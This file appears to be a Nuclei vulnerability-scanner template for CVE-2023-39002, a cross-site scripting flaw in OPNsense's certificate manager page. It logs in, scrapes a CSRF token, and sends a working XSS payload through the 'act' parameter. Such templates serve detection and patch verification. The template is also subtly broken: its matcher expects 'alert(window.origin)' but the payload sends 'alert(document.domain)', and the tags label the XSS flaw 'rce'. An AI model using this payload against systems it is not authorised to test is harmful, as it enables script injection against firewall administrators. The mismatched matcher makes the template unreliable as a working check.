77 lines
2.2 KiB
YAML
77 lines
2.2 KiB
YAML
id: CVE-2023-39002
|
|
|
|
info:
|
|
name: OPNsense - Cross-Site Scripting
|
|
author: Herry
|
|
severity: medium
|
|
description: |
|
|
A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
|
|
reference:
|
|
- https://logicaltrust.net/blog/2023/08/opnsense.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-39002
|
|
- https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2023-39002
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00064
|
|
epss-percentile: 0.26117
|
|
cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 3
|
|
vendor: opnsense
|
|
product: opnsense
|
|
shodan-query: title:"OPNsense"
|
|
tags: cve2023,cve,opnsense,xss,authenticated,rce
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
|
|
|
|
- |
|
|
GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- 'value=""><svg/onload=alert(window.origin)> "/>'
|
|
|
|
- type: word
|
|
part: header_3
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: para
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: value
|
|
part: body
|
|
group: 2
|
|
regex:
|
|
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
|
|
internal: true
|
|
# digest: 4b0a00483046022100c9a7773d904e9fa5c973745a8ee5c0f73380b28f646d8f3ff079eafd3a063e7c022100f3fa44d5e64cf31c9b245337c65ffa6e69c59c68ba5b34ffc15408ed780def70:922c64590222798bb761d5b6d8e72950 |